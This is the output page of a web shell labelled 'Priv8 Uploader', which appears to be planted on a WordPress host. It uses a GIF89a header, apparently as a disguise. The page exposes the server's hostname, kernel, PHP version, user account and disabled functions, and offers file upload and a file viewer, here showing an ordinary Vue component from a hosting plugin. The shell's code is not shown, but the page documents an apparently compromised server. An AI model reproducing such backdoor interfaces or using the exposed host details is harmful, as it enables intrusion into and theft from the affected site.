GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/hostinger/vue-frontend/src/App.vue
<script setup lang="ts">
import { computed } from "vue";
import { RouterView, useRoute } from "vue-router";

import Modals from "@/components/Modals/Base/Modals.vue";
import Wrapper from "@/layouts/Wrapper.vue";
import { EditSiteButton, HeaderButton, PreviewSiteButton } from "@/types";

const route = useRoute();

const headerTitle = computed(() => route.meta.title as string);

const headerButton = computed(() => route.meta.headerButton as HeaderButton);

const previewSiteButton = computed(
	() => route.meta.previewSiteButton as PreviewSiteButton
);

const editSiteButton = computed(
	() => route.meta.editSiteButton as EditSiteButton
);
</script>

<template>
  <div>
    <div id="overhead-button" />
    <Wrapper
      :title="headerTitle"
      :header-button="headerButton"
      :preview-site-button="previewSiteButton"
      :edit-site-button="editSiteButton"
    >
      <RouterView v-slot="{ Component }">
        <Component :is="Component" />
      </RouterView>
    </Wrapper>
    <Modals />
  </div>
</template>

<style lang="scss" scoped>
:deep(.h-button-v2) {
	&:hover {
		cursor: pointer;
	}
}
#overhead-button {
	position: absolute;
	right: 0;
	padding: 40px;
	z-index: 2;

	@media (max-width: 576px) {
		padding: 16px;
	}
}
</style>